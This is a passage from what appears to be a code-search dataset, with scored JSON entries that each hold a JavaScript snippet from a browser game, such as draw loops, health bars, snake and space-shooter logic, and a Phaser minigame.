keneticAdjustedDamage;\r\n\t\t}\r\n\t\treturn (this.healthPoints<=0);\r\n\t};\r\n\tthis.setWeaponSpeed = function(speed) {\r\n\t\tthis.weaponSpeed = speed;\r\n\t};\r\n this.attachInstructions = function(parent) {\r\n parent.ship = this;\r\n this.parent = parent;\r\n }\r\n}", "title": "" }, { "docid": "52ea636f3d31c0d3d64f179d0fab0555", "score": "0.57375807", "text": "function draw() {\n //if player health is zero, show game over function\n if (player.health <= 0) {\n handleGameOver();\n //if enemy health(plotpoints) reach zero, show win function\n } else if (enemy.plotPoints <= 0) {\n gameWon = true;\n handleVictory();\n //if the intro is over, call gameplay\n } else if (introState >= 4) {\n handleGameplay();\n //if nothing else matters, show the intro. It's kinda cool I guess\n } else {\n handleGameIntro();\n }\n}", "title": "" }, { "docid": "5514bc0d13449f1160b4b80145a19a31", "score": "0.57105285", "text": "draw() {\n let xOffset = this.bob.getNextX();\n\n this.drawBody(xOffset);\n this.drawHead(xOffset);\n this.drawFace(xOffset);\n this.drawCrown(xOffset);\n this.drawMoustache(xOffset);\n }", "title": "" }, { "docid": "4c98f32a7c14ca100d0c3325218147ff", "score": "0.569537", "text": "draw() {\n background(10, 50, 70);\n this._drawDashedCenterLine();\n this._drawWall(0 + this.wallThickness / 2);\n this._drawWall(height - this.wallThickness / 2);\n this._refreshPlayerScores();\n this._refreshStatusMessage();\n this._refreshUsageMessage();\n this._showPauseState();\n }", "title": "" }, { "docid": "c84ade1a740cf550f4bd5e761c2abdb9", "score": "0.56785566", "text": "display(){\n if (this.health > 0){ //Alive\n image(wImg[0], this.x, this.y);\n } \n else{ //Dead\n image(wImg[3], this.x, this.y + height/7);\n }\n }", "title": "" }, { "docid": "b9467983db467dabb86457325254475b", "score": "0.5672498", "text": "draw() {\n\n // Only draw objects in the correct state\n if (stats[0].game_state == this.target_state){\n \n // make sure the ammo is visible \n if (this.visible){\n // render the ammo\n ctxDATA.fillStyle = WHITE \n ctxDATA.fillRect(this.x, this.y, this.w, this.h);\n\n ctxDATA.fillStyle = BLACK; \n ctxDATA.fillRect(this.x + 2, this.y + 2, this.w - 4, this.h - 4);\n\n ctxDATA.fillStyle = YELLOW; \n ctxDATA.fillRect(this.x + 3, this.y + 3, this.w - 6, this.h - 6); \n }\n\n\n // end the target_state check\n }\n\n\n // end Ammo draw method ... \n }", "title": "" }, { "docid": "7b6d1684422103e085f4fa4731975516", "score": "0.5668121", "text": "draw(){\n super.draw();\n let x = this.x - player.x + CTXWIDTH/2;\n //let y = this.y - player.y + CTXHEIGHT/2 - this.height/2 - 20; \n\n ctx.save();\n ctx.fillStyle = 'red';\n let w = 100 * this.hp / this.maxHp;\n if (w < 0) w = 0;\n ctx.fillRect(x-50,this.y-this.height,w, 10);\n ctx.strokeStyle = 'black';\n ctx.strokeRect(x-50,this.y-this.height,100, 10);\n ctx.restore();\n }", "title": "" }, { "docid": "aa431d2fa9cc4e26e084bb646c73aa99", "score": "0.5667459", "text": "function draw() {\n\n // Background color of canvas\n background(0,0,0);\n\n // Show the spaceship - show() method and features created in SpaceShip function\n spaceShip.show();\n\n // Left and right arrow keys to change x position of spaceShip with p5.js keyIsDown() function\n if (keyIsDown(LEFT_ARROW))\n spaceShip.x-=5;\n if (keyIsDown(RIGHT_ARROW))\n spaceShip.x+=5;\n\n // Display score - set text size, alignment, fill functions\n textSize(16);\n textAlign(LEFT,TOP);\n fill(250);\n // Score variable\n text(\"Score: \" + score, 20, 470);\n\n // Show each alien in aliens array - following actions in Alien() function\n for (var i = 0; i < aliens.length; i++){\n aliens[i].show();\n // Aliens move\n aliens[i].move();\n // If an alien reaches canvas border\n if (aliens[i].x > 700 || aliens[i].x < 0) {\n // Call downReverse() function on all aliens\n for(var i = 0; i < aliens.length; i++) {\n aliens[i].downReverse();\n }\n }\n }\n\n // Show the boss (initial position outside of canvas) - Boss() function\n boss.show();\n // The boss moves\n boss.move();\n\n // Show and shoot each missile in missiles array - Missile() function\n for (var i = 0; i < missiles.length; i++){\n missiles[i].show();\n missiles[i].shoot();\n // Sort through aliens array\n for (var j = 0; j < aliens.length; j++){\n // If missile leaves canvas\n if (missiles[i].y < 0) {\n // Missile destroy becomes true\n missiles[i].destroy = true;\n }\n // If missile hits an alien\n if (missiles[i].hits(aliens[j])) {\n // Missile destroyed, alien killed (removed from array), & score increases by 10 points\n missiles[i].destroy = true;\n aliens.splice(j, 1);\n score += 10;\n }\n }\n // If missile hits boss\n if (missiles[i].getsBoss(boss.x, boss.y)) {\n // Missile destroyed, boss' location changes off canvas, & score increases by 50 points\n missiles[i].destroy = true;\n boss.disappear();\n score += 50;\n }\n }\n\n // If missile destroy is true, the missile is removed from missiles array\n for (var i = missiles.length-1; i >= 0; i--) {\n if (missiles[i].destroy) {\n missiles.splice(i, 1);\n }\n }\n\n // The boss reverses direction when its x position reaches -900\n if (boss.x < -900 ) {\n boss.reverse();\n }\n\n // Every time the boss' x location is divisible by 20, a new boss bullet is created\n if (boss.x % 20 == 0) {\n // Starting position of boss bullet dependent on boss' location\n var bossBullet = new BossBullets(boss.x, boss.y + 8);\n // New boss bullet gets pushed into bossBullets array\n bossBullets.push(bossBullet);\n }\n\n // Boss bullet show and shoot - BossBullets() function\n for (i=0; i < bossBullets.length; i++) {\n bossBullets[i].show();\n bossBullets[i].shoot();\n // Score goes to 0 if spaceship is hit\n if (bossBullets[i].hits(spaceShip.x, spaceShip.y)) {\n score = 0;\n }\n }\n\n // If length of aliens array is 0, the youWin image appears - YouWin() function\n if (aliens.length == 0) {\n var gameends = new YouWin(350,250);\n gameends.show();\n }\n\n // If y value of an alien is greater or equal to spaceship, gameOver image appears - GameOver() function\n for (var i = 0; i < aliens.length; i++) {\n if (aliens[i].y >= spaceShip.y){\n var lose = new GameOver(350,250);\n lose.show();\n }\n }\n\n}", "title": "" }, { "docid": "c4702fa7ed7bb25d30cc8cac70628535", "score": "0.5665873", "text": "draw()\n {\n switch(this.id)\n {\n case(\"source\"):\n fill(0,0,255);\n break;\n case(\"target\"):\n fill(255,0,0);\n break;\n case(\"wall\"):\n fill(17,17,17);\n break;\n case(\"blank\"):\n fill(255,255,255);\n break;\n case(\"frontier\"):\n fill(0,255,0);\n break;\n case(\"path\"):\n fill(255,247,0);\n break;\n case(\"debug\"):\n fill(255,255,0);\n break;\n default:\n noFill();\n }\n\n rect(this.drawX + this.offset, this.drawY + this.offset, this.size - this.offset*2, this.size - this.offset*2, 5);\n }", "title": "" }, { "docid": "1732e26c764fe8a9cfef7b01b8040e66", "score": "0.566211", "text": "function draw() {\n background(51);\n scoreboard(); // Scoreboard Constructor called\n if (s.eat(food)) {\n pickLocation(); // When snake eats the food, place food randomly again on the canvas\n }\n s.death();\n s.update();\n s.show();\n fill(255, 0, 100);\n rect(food.x, food.y, scl, scl);\n}", "title": "" }, { "docid": "09ff0610d49a7ce6b81b0c5d22df515c", "score": "0.5659601", "text": "draw(ctx) {\n\t\tctx.save();\n\t\tctx.shadowBlur =10;\n\t\tctx.shadowColor = \"white\";\n\t\tctx.fillStyle = \"white\";\n if(this.status == \"walk\"){\n\t\t\tthis.cycle = (this.cycle+0.2)%WALK_ACTION_NUM;\n ctx.drawImage(hero,GAP_X+MAP_HERO_WIDTH*Math.floor(this.cycle),MAP_HERO_WALK,HERO_SIZE,HERO_SIZE,this.pos.x-this.radius,this.pos.y-this.radius,HERO_SIZE*ZOOM,HERO_SIZE*ZOOM);\n } else if(this.status == \"stand\"){\n\t\t\tthis.cycle = (this.cycle+0.2)%WALK_ACTION_NUM;\n ctx.drawImage(hero,GAP_X+MAP_HERO_WIDTH*Math.floor(this.cycle),MAP_HERO_STAND,HERO_SIZE*1.1,HERO_SIZE*1.1+GAP_Y,this.pos.x-this.radius,this.pos.y-this.radius,HERO_SIZE*ZOOM,HERO_SIZE*ZOOM);\n }else if(this.status == \"attack\"){\n\t\t\tthis.cycle = (this.cycle+0.2)%ATTACK_ACTION_NUM;\n ctx.drawImage(hero,GAP_X+1.4*MAP_HERO_WIDTH*Math.floor(this.cycle),MAP_HERO_ATTACK,1.4*HERO_SIZE,HERO_SIZE+GAP_Y,this.pos.x-this.radius,this.pos.y-this.radius,HERO_SIZE*ZOOM,HERO_SIZE*ZOOM);\n\n } else if(this.status == \"dead\"){\n\t\t\tthis.cycle = (this.cycle+0.2)%DEAD_ACTION_NUM;\n ctx.drawImage(hero,GAP_X+MAP_HERO_WIDTH*Math.floor(this.cycle),MAP_HERO_DEAD,HERO_SIZE,HERO_SIZE+GAP_Y,this.pos.x-this.radius,this.pos.y-this.radius,HERO_SIZE*ZOOM,HERO_SIZE*ZOOM);\n\n }\n\t\tctx.restore();\n\t}", "title": "" }, { "docid": "cd1dc2be7e2c4dd84f1728b41779c96e", "score": "0.5655281", "text": "function updateHealthBar() {\n var health = character.get('hitpoints');\n var maxHealth = character.get('max_hitpoints');\n var percentHealth = Math.floor(health * 100 / maxHealth);\n $('.health').css('width', '' + percentHealth + '%');\n }", "title": "" }, { "docid": "6587017f1b290b34e438446112e47898", "score": "0.56386995", "text": "function draw() {\n background(50);\n snake.update();\n snake.show();\n snake.GameOver();\n food.show();\n\n if (snake.eat(food)) {\n food = new Food();\n snake.total++;\n score.innerHTML = \"Score: \" + TotalScore;\n TotalScore++;\n }\n}", "title": "" }, { "docid": "447ed8a09440927bdc3e2fa599059e84", "score": "0.5638066", "text": "function draw() {\n if (helicopter.pos.x < 3200) {\n game();\n } else {\n gameOver();\n }\n}", "title": "" }, { "docid": "70f3e1affa7a6d2822eab0cfb366a84d", "score": "0.56318134", "text": "updateHealth(health) {\n this.width = health * 2.5;\n }", "title": "" }, { "docid": "6cdde96f715a77b91b20ce1e93499040", "score": "0.5604183", "text": "function PlayerShip(){\n this.x = c.width/2;\n this.y = c.height/2;\n this.image = shipSprite;\n this.w = 25;\n this.h = 25;\n this.vx = 0;\n this.vy = 0;\n this.up = false;\n this.left = false;\n this.right = false;\n this.down = false;\n this.flameLength = 30;\n this.innerFlameLength = 18;\n this.shieldTimer = 0;\n\n\n this.draw = function(){\n ctx.save();\n ctx.translate(this.x, this.y);\n\n //draws afterburner flame for ship\n if(this.right == true){\n ctx.save();\n //animate flame - flicker the afterburner\n if(this.flameLength == 30){\n this.flameLength = 10;\n \n }\n else{\n this.flameLength = 30;\n \n }\n ctx.beginPath();\n ctx.fillStyle = 'darkorange';\n ctx.strokeStyle = 'orange';\n ctx.lineWidth = 0.5;\n ctx.moveTo(-this.flameLength, 0);\n ctx.lineTo(-3, -4);\n ctx.lineTo(4, 4);\n ctx.lineTo(-this.flameLength, 0);\n ctx.closePath();\n ctx.fill();\n ctx.stroke();\n ctx.restore();\n }\n\n if(this.right == true){\n ctx.save();\n //animate inner flicker\n if(this.innerFlameLength == 18){\n this.innerFlameLength = 6;\n }\n else{\n this.innerFlameLength = 18;\n }\n ctx.beginPath();\n ctx.fillStyle = 'red';\n ctx.moveTo(-this.innerFlameLength, 0);\n ctx.lineTo(-4, -4);\n ctx.lineTo(4, 4);\n ctx.lineTo(-this.innerFlameLength, 0);\n ctx.closePath();\n ctx.fill();\n ctx.restore();\n }\n\n ctx.beginPath();\n /*\n ctx.fillStyle = 'red';\n ctx.moveTo(-10, 10);\n ctx.lineTo(-10, -10);\n ctx.lineTo(10, 0);\n ctx.lineTo(-10, 10);\n \n ^--old ship code */\n ctx.drawImage(this.image, 0 - 7, 0 - this.h);\n \n \n ctx.closePath();\n //ctx.fill();\n ctx.restore();\n\n }\n\n this.move = function(){\n this.x += this.vx;\n this.y += this.vy;\n\n if(this.y > c.height-25){\n this.y = c.height-25;\n this.vy = 0;\n }\n if(this.x > c.width - 35){\n this.x = c.width - 35;\n this.vx = 0\n }\n if(this.x < 0 + 10){\n this.x = 0+10;\n this.vx = 0;\n }\n if(this.y < 0+25){\n this.y = 0 + 25;\n this.vy = 0;\n }\n \n\n }\n}", "title": "" }, { "docid": "c1ed82e768f6099d6532f8f8def3a27d", "score": "0.55981195", "text": "draw() {\n this.context.fillStyle = \"black\";\n this.context.fillRect(0, 0, this.canvasSize.width, this.canvasSize.height);\n const visibleArea = this.getVisibleArea();\n this.drawImage(this.sprites, this.spritesDescription.inscriptionHouse, { x: -4, y: -11 });\n super.draw();\n // In order to avoid weird things around the carpet, we decided that the wall must be drawn over the 2x of the carpet side.\n // This is why I have 2/32 here, for those 2px over a square of 32.\n /*this.drawPattern(this.patterns.wallBottom, { x: -2, y: 0, width: 2 + (2/32), height: 1});\n this.drawPattern(this.patterns.wallBottom, { x: 1 - (2/32), y: 0, width: 9 + (2/32), height: 1});*/\n if (this.exitHouseOverlayOpacity > 0) {\n this.context.fillStyle = \"rgba(255, 255, 255, \" + this.exitHouseOverlayOpacity + \")\";\n this.context.fillRect(0, 0, this.canvasSize.width, this.canvasSize.height);\n }\n }", "title": "" }, { "docid": "0bd907bf04d6564a49e7e62729fd2c57", "score": "0.55928093", "text": "drawStatTile(tile: Tile, dx: number): void {\n const dy = CARD_HEIGHT - 13;\n this.drawTile(tile, dx, dy);\n }", "title": "" }, { "docid": "00130d0649f33a50e1b40306e1741561", "score": "0.55920935", "text": "function updateHealth() {\n // Reduce player health\n playerHealth = playerHealth - 0.5;\n playerFill -= 10;\n // Constrain the result to a sensible range\n playerHealth = constrain(playerHealth, 0, playerMaxHealth);\n // Check if the player is dead (0 health)\n if (playerHealth === 0) {\n // If so, the game is over\n gameOver = true;\n }\n}", "title": "" }, { "docid": "452ad07008cfcecd34d9db1830504a97", "score": "0.5590284", "text": "function shipp(){\n ship.setPosition(getWidth()/2 - (getWidth() * 0.1)/2, (getHeight() - getHeight() * 0.2) - getHeight() * 0.01 );\n ship.setColor(Color.GREEN);\n add(ship);\n}", "title": "" }, { "docid": "8601317ed646a33b7e6b45dabb13eba2", "score": "0.5588354", "text": "function draw()\n{\n // clear the previous frame\n clear()\n\n // visualise the scores\n showScores()\n\n // check for collisions between bullets (if there are any bullets)\n if (human.bullet && robot.bullet)\n {\n human.bullet.bounce(robot.bullet, bulletsHit)\n }\n\n // redraw everything\n drawSprites()\n}", "title": "" }, { "docid": "571384aae943efa9a30e1f83ca18295b", "score": "0.5578063", "text": "display(){\n if (this.health > 0){ //Alive\n image(iImg[0], this.x, this.y);\n }\n else{ //Dead\n image(iImg[3], this.x, this.y + height/7);\n }\n }", "title": "" }, { "docid": "42b029c8e2a2130f7a4bc209695c4296", "score": "0.55754125", "text": "function createHealing(){\n\t\tvar healSprite = healSprites.getFirstExists(false);\n\t\t\n\t\tif(!healSprite){\n\t\t\thealthValue += 30;\n\t\t\tif(healthValue > 100){\n\t\t\t\thealthValue = 100;\n\t\t\t};\n\t\t\tsocket.emit('heal player', {\n\t\t\t\thealth: healthValue\n\t\t\t});\t\t\t\n\t\t\thealSprite = healSprites.create(player.x,player.y, 'healspell');\n\t\t\thealSprite.anchor.setTo(0.5);\n\t\t\thealSprite.animations.add('MyHeal', [0, 1, 2,1], 10, false);\n\t\t\thealSprite.animations.play('MyHeal');\n\t\t\tmyHealthBar.setPercent(healthValue);\t\t\t\t\n\t\t\thealSprite.animations.currentAnim.onComplete.add(function(){\n\t\t\thealSprite.kill();\n\t\t\t}, this);\n\t\t}else{\n\t\t\thealthValue += 30;\n\t\t\tif(healthValue > 100){\n\t\t\t\thealthValue = 100;\n\t\t\t};\t\t\t\n\t\t\tsocket.emit('heal player',{\n\t\t\t\thealth: healthValue\n\t\t\t});\n\t\t\thealSprite.reset(player.x, player.y);\n\t\t\thealSprite.animations.play('MyHeal');\n\t\t\tmyHealthBar.setPercent(healthValue);\t\t\t\n\t\t\thealSprite.animations.currentAnim.onComplete.add(function(){\n\t\t\thealSprite.kill();\n\t\t\t}, this);\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "26b7e53ffda9468f15c8efbc999f3732", "score": "0.5556498", "text": "function __draw(ctx){\n if(_states.state!=_states.enter){\n __drawNumbers(ctx);\n }\n _ParticleEmitter.draw(ctx); \n __drawTopBar(ctx, new Pol.Core.Math.Rect(10, 10, Pol.Core.Game.GameWidth-20, 70));\n __drawTopBarButtons(ctx); \n }", "title": "" }, { "docid": "9666096e60e5b85e8251971116ccf89b", "score": "0.5556478", "text": "display(){\n if (this.health > 0){ //Alive\n image(aImg[0], this.x, this.y);\n }\n else{ //Dead\n image(aImg[3], this.x, this.y + height/7);\n }\n }", "title": "" }, { "docid": "44acae02aeafb4f8d6733b72a497b4f9", "score": "0.5553946", "text": "function Ship() {\n this.x = width / 2;\n\n this.show = function () {\n noStroke();\n fill(255);\n rectMode(CENTER);\n rect(this.x, height - 30, 20, 60);\n }\n this.move = function (dir) {\n this.x += dir * 15;\n }\n}", "title": "" }, { "docid": "049860b398d85ced2601f86a53b976da", "score": "0.55413437", "text": "function draw() {\n if (spelStatus === SPELEN) {\n beweegAlles();\n verwerkBotsing();\n tekenAlles();\n if (checkGameOver()) {\n spelStatus = GAMEOVER;\n }\n }\n if (spelStatus === GAMEOVER) {\n // teken game-over scherm\n\n }\n}", "title": "" }, { "docid": "049860b398d85ced2601f86a53b976da", "score": "0.55413437", "text": "function draw() {\n if (spelStatus === SPELEN) {\n beweegAlles();\n verwerkBotsing();\n tekenAlles();\n if (checkGameOver()) {\n spelStatus = GAMEOVER;\n }\n }\n if (spelStatus === GAMEOVER) {\n // teken game-over scherm\n\n }\n}", "title": "" }, { "docid": "52982af36adafddcc95788437aa4ffa8", "score": "0.55398595", "text": "draw() {\n // PNG room draw\n super.draw();\n\n // draws all the sprites in the group\n this.NPCgroup.draw();\n\n // checks for overlap with ANY sprite in the group, if this happens\n // our die() function gets called\n playerSprite.overlap(this.NPCgroup, die);\n\n for( let i = 0; i < this.NPCSprites.length; i++ ) {\n this.NPCSprites[i].velocity.x = random(-1,1);\n this.NPCSprites[i].velocity.y = random(-1,1);\n }\n }", "title": "" }, { "docid": "52982af36adafddcc95788437aa4ffa8", "score": "0.55398595", "text": "draw() {\n // PNG room draw\n super.draw();\n\n // draws all the sprites in the group\n this.NPCgroup.draw();\n\n // checks for overlap with ANY sprite in the group, if this happens\n // our die() function gets called\n playerSprite.overlap(this.NPCgroup, die);\n\n for( let i = 0; i < this.NPCSprites.length; i++ ) {\n this.NPCSprites[i].velocity.x = random(-1,1);\n this.NPCSprites[i].velocity.y = random(-1,1);\n }\n }", "title": "" }, { "docid": "52982af36adafddcc95788437aa4ffa8", "score": "0.55398595", "text": "draw() {\n // PNG room draw\n super.draw();\n\n // draws all the sprites in the group\n this.NPCgroup.draw();\n\n // checks for overlap with ANY sprite in the group, if this happens\n // our die() function gets called\n playerSprite.overlap(this.NPCgroup, die);\n\n for( let i = 0; i < this.NPCSprites.length; i++ ) {\n this.NPCSprites[i].velocity.x = random(-1,1);\n this.NPCSprites[i].velocity.y = random(-1,1);\n }\n }", "title": "" }, { "docid": "237fb561970df3f8244025a516d46d0d", "score": "0.55390704", "text": "celebrate(){\n if (this.attackPhase === 1){\n if (this.y > height/2.5){\n this.y -= 5;\n } if (this.y <= height/2.5){\n this.attackPhase = 2;\n }\n } if (this.attackPhase === 2){\n if (this.y < height/2){\n this.y += 5;\n } if (this.y >= height/2){\n this.attackPhase = 1;\n }\n }\n boss.display();\n fill(255, 0, 0);\n text(\"Ha Ha!\", this.x, this.y);\n }", "title": "" }, { "docid": "759b42cdf3e86218553251e9d1cc41b3", "score": "0.5539015", "text": "update() {\n if (!this.enemyLaser) {\n if (this.y > 0)\n this.y -= this.dy;\n }\n else this.y += this.dy;\n\n if (!this.hit && this.x > 0 && this.y > 0)\n this.draw();\n }", "title": "" }, { "docid": "9026d64dbd80cf20ca645b889999bfc6", "score": "0.553822", "text": "function draw() {\n background(51);\n s.death();\n s.update();\n s.show();\n\n if (s.eat(food)) {\n pickLocation();\n }\n\n fill(255, 0, 100);\n rect(food.x, food.y, scl, scl);\n}", "title": "" }, { "docid": "c6ef48c9d96bd63fae20302ded97edbb", "score": "0.5529861", "text": "draw () {\n this.ctx.clearRect(0, 0, this.ctx.canvas.width, this.ctx.canvas.height);\n this.ctx.save();\n let background = null;\n let darkness = null;\n for (let i = 0; i < this.entities.length; i++) {\n if (this.entities[i] != null && this.entities[i] !== undefined) {\n this.entities[i].draw(this.ctx);\n } else {\n console.log(this.entities[i]);\n }\n }\n\n if (this.bossHealthBar != null) {\n this.bossHealthBar.draw(this.ctx);\n }\n this.ctx.restore();\n\n if (this.showOutlines) {\n this.ctx.save();\n this.ctx.beginPath();\n this.ctx.strokeStyle = \"black\";\n this.ctx.moveTo(0, 0);\n\n this.ctx.lineTo(this.surfaceWidth, 0);\n\n this.ctx.lineTo(this.surfaceWidth, this.surfaceHeight);\n\n this.ctx.lineTo(0, this.surfaceHeight);\n\n this.ctx.lineTo(0, 0);\n\n this.ctx.stroke();\n this.ctx.closePath();\n this.ctx.restore();\n }\n }", "title": "" }, { "docid": "03873e39e8b51c9a00a60df95367e1a2", "score": "0.55293304", "text": "function draw() {\n\n if (!player.alive) {\n // By using \"return\" the draw() function exits immediately\n return;\n }\n\n background(50,150,200);\n updatePlayer();\n drawPlayer();\n displayFood();\n\n}", "title": "" }, { "docid": "e3b15b776099530b60041b1d967d9b50", "score": "0.55269295", "text": "function drawPlayer() {\n push();\n tint(255, playerHealth);\n image(computerImage, playerX, playerY, 120, 120);\n pop();\n}", "title": "" }, { "docid": "b9cf804fc5f6c3d5592ee4c0a21ff10b", "score": "0.5515878", "text": "drawPhysicalDefStat(tile: Tile): void {\n const dx = 7 + (2 * tile.width);\n this.drawStatTile(tile, dx);\n }", "title": "" }, { "docid": "49441f4f55b6f465a804399387d3167f", "score": "0.55100125", "text": "function drawFood() {\n for (const index in foods) {\n const food = foods[index];\n if (typeof food !== \"undefined\") {\n food.draw();\n\n // simulates that the snake eat.\n if (hit(food, snake.head)) {\n snake.eat();\n removeFromFoods(food);\n }\n }\n }\n }", "title": "" }, { "docid": "91dccce5fd68cf7719b33d23c0cc4715", "score": "0.5505383", "text": "function drawHP(botX, botY, team, p) {\n\t\tvar hpHeight = 7;\n\t\tvar hpWidth = Math.floor(PLAYER_SIZE/HP);\n\n\t\tfor(var j = 0; j < p.hp; j++) {\n\t\t\tif(p.team == team) {\n\t\t\t\tctx.fillStyle = hpColorY;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tctx.fillStyle = hpColorN;\n\t\t\t}\n\t\t\tctx.fillRect(botX + hpWidth * j, botY, hpWidth, hpHeight);\n\t\t}\n\t\t\n\t\tctx.strokeStyle = hpLine;\n\t\tctx.lineWidth = 1;\n\t\tctx.strokeRect(botX, botY, HP * hpWidth, hpHeight);\n\t}", "title": "" }, { "docid": "7ef60aa4c3a7f476489827b38a847b0b", "score": "0.55022055", "text": "function drawPlayer() {\n fill(playerFill,playerHealth);\n image(spiderImage,playerX,playerY,50,50);\n}", "title": "" }, { "docid": "ae4234e876216761825f1c984977cc57", "score": "0.5485995", "text": "function PlayerShip() {\n this.x = c.width / 2;\n this.y = c.height / 2;\n this.w = 30;\n this.h = 30;\n this.vx = 0;\n this.vy = 0;\n this.up = false;\n this.down = false;\n this.left = false;\n this.right = false;\n this.flamelength = 30;\n\n\n\n this.draw = function () {\n ctx.save();\n ctx.translate(this.x, this.y);\n //this drws the flame behind the ship\n if (this.up == true) {\n ctx.save();\n //adjust the flame length for a flicker effect\n if (this.flamelength == 30) {\n this.flamelength = 10;\n }\n else {\n this.flamelength = 30;\n }\n ctx.fillStyle = \"purple\";\n ctx.beginPath();\n ctx.moveTo(0, this.flamelength);\n ctx.lineTo(5, 5);\n ctx.lineTo(-5, 5);\n ctx.lineTo(0, this.flamelength);\n ctx.closePath();\n ctx.fill();\n ctx.restore();\n }\n /*this.draw = function(){\n ctx.save()\n ctx.drawImage(shipUser, this.x, this.y,this.w,this.h)\n ctx.restore()\n }*/\n ctx.beginPath();\n\n ctx.fillStyle = \"red\";\n ctx.moveTo(0, -13);\n ctx.lineTo(10, 10);\n ctx.lineTo(-10, 10);\n ctx.lineTo(0, -13);\n ctx.closePath();\n ctx.fill();\n\n ctx.restore();\n }\n\n this.move = function () {\n this.x += this.vx;\n this.y += this.vy;\n\n //adds boundaries and keeps ship on the screen\n if (this.y > c.height - 20) {\n this.y = c.height - 20;\n this.vy = 0;\n }\n //check to see if we are past the top of the canvas\n if (this.y < 0 + 13) {\n this.y = 13;\n this.vy = 0;\n }\n //check to see if we are past right 0r left side of canvas\n if (this.x > c.width - 10) {\n this.x = c.width - 10;\n this.vx = 0;\n }\n //left side\n if (this.x < 0 + 10) {\n this.x = 10;\n this.vx = 0;\n }\n }\n}", "title": "" }, { "docid": "f923c492c89ec98d4780610fcf2045ce", "score": "0.54787767", "text": "function minigameShower() {\n pauseTime();\n var clicked = false;\n var showerSound = game.add.audio('showerSound');\n showerSound.play();\n var showerBackground = game.add.image(0, 0, 'showerBackground');\n showerBackground.inputEnabled = true;\n \n var status = game.add.sprite(540, 690, 'showering');\n status.anchor.setTo(0.5, 0.5);\n \n // Health bar\n var barConfig = {\n width: 1080,\n height: 90,\n x: 540, \n y: 1700,\n bg: {\n color: '#1c4167'\n },\n bar: {\n color: '#0d91df'\n },\n animationDuration: 10\n };\n\tvar showerHealthBar = new HealthBar(this.game, barConfig);\n showerHealthBar.health = 0;\n showerHealthBar.setPercent(0);\n \n // Marker: (50)300 - 985\n // 51px (width)\n var markerPlace = (Math.random() * 686) + 300;\n var marker = game.add.image(markerPlace, 1700, 'marker');\n marker.anchor.setTo(0.5, 0.5);\n \n var showerHealthSpeed = (Math.random() * 10) + 15;\n // Wait for the health to go to 0 first\n var loop = minigameTimer.add(Phaser.Timer.SECOND, function() {\n minigameTimer.loop(10, function() {\n if (!clicked) {\n if (showerHealthBar.health >= 1080) {\n showerHealthSpeed *= -1;\n showerHealthBar.health += showerHealthSpeed;\n showerHealthBar.setPercent((showerHealthBar.health / 1080) * 100);\n } else if (showerHealthBar.health < 0) {\n showerHealthSpeed *= -1;\n showerHealthBar.health += showerHealthSpeed;\n showerHealthBar.setPercent((showerHealthBar.health / 1080) * 100);\n } else {\n showerHealthBar.health += showerHealthSpeed;\n showerHealthBar.setPercent((showerHealthBar.health / 1080) * 100);\n }\n } else {\n this.stop(); \n }\n }, this);\n }, this);\n \n showerBackground.events.onInputDown.add(function(){\n console.log(showerHealthBar.health);\n console.log(marker.worldPosition.x);\n if (!clicked) {\n checkShowerMinigame(); \n }\n }, this);\n \n var showerSpeechBubble; \n function checkShowerMinigame() {\n clicked = true;\n game.sound.play('knock');\n showerSpeechBubble = game.add.image(-50, 1200, 'dontshowertoolong');\n \n minigameTimer.add(Phaser.Timer.SECOND * 1.1, function() {\n if (showerHealthBar.health - marker.worldPosition.x >= -35 && \n showerHealthBar.health - marker.worldPosition.x <= 35) {\n game.sound.play('okaySound');\n status.loadTexture('ok');\n console.log(\"win\");\n minigameTimer.add(Phaser.Timer.SECOND * 2, function() {\n showerBackground.destroy();\n marker.destroy();\n showerHealthBar.kill();\n showerSpeechBubble.destroy();\n status.destroy();\n \n showerSound.pause();\n game.sound.play('successSound');\n \n var success = game.add.image(540, 850, 'success');\n success.anchor.setTo(0.5, 0.5);\n\n minigameTimer.add(Phaser.Timer.SECOND * 1, function() {\n success.destroy();\n \n if (health > 80) {\n health = 100;\n } else {\n health += 20;\n }\n score += 50;\n scoreDisplay.text = score;\n minigame = false;\n unpauseTime();\n //spawnBubbles();\n }, this);\n }, this);\n } else {\n status.loadTexture('no');\n game.sound.play('noSound');\n console.log(\"lose\");\n \n minigameTimer.add(Phaser.Timer.SECOND * 2, function() {\n marker.kill();\n showerBackground.destroy();\n showerHealthBar.kill();\n showerSpeechBubble.destroy();\n status.destroy();\n \n showerSound.pause();\n game.sound.play('timesupSound');\n \n var toolong = game.add.image(540, 850, 'showeredtoolong');\n toolong.anchor.setTo(0.5, 0.5);\n\n minigameTimer.add(Phaser.Timer.SECOND * 1, function() {\n toolong.destroy();\n \n if (health <= 20) {\n health = 0;\n } else {\n health -= 20;\n }\n if (score <= 20) {\n score = 0;\n } else {\n score -= 40;\n }\n scoreDisplay.text = score;\n minigame = false;\n unpauseTime();\n //spawnBubbles();\n }, this);\n }, this);\n }\n }, this);\n }\n\n}", "title": "" }, { "docid": "3b44d6f7f9c5c5d2c60a14804ccc6894", "score": "0.5475242", "text": "function draw() {\n if (state === \"startMenu\") {\n startMenu();\n }\n else if (state === \"howTo\") {\n showInstructions();\n }\n else if (state === \"selectDifficulty\") {\n selectGameMode();\n }\n else if (state === \"game\") {\n background(104, 204, 191); // this was going to be a cute drawn background but considering i cant see anything its not worth making\n fruitInterval();\n addFruit();\n moveFruit();\n displayFruit();\n userBasket();\n checkCollision();\n displayCounters();\n checkDrops();\n }\n else if (state === \"gameover\") {\n gameOver();\n }\n}", "title": "" }, { "docid": "a9a1515660a317898eb9bbba0d4b87f4", "score": "0.54707706", "text": "function drawBars() {\n drawCharacterEnergyBar();\n drawBossEnergyBar(); \n drawBottleBar();\n }", "title": "" }, { "docid": "2417c6c63198272e4f76e83b163124b2", "score": "0.5470766", "text": "function DrawStats() {\n\t\t// CHANGES\n\t\tvar drawDirection = Vector3.right;\n\t\tvar rotation = Quaternion.AngleAxis(360/5,Vector3.up);\n\t\n\t\t// draw faith\n\t\tvar faithWorldCoordsPosition = transform.TransformPoint(drawDirection);\n\t\tvar faithScreenCoords = Camera.main.WorldToScreenPoint(faithWorldCoordsPosition);\n\t\t\n\t\tvar faithFrame = Rect(faithScreenCoords.x-20,Screen.height-faithScreenCoords.y,40,25);\n\t\tGUI.Label(faithFrame,\"F: \" + faith.ToString(),displayStyle);\n\t\tdrawDirection = rotation*drawDirection;\n\t\t\n\t\t// Draw population\n\t\tvar popWorldCoordsPosition = 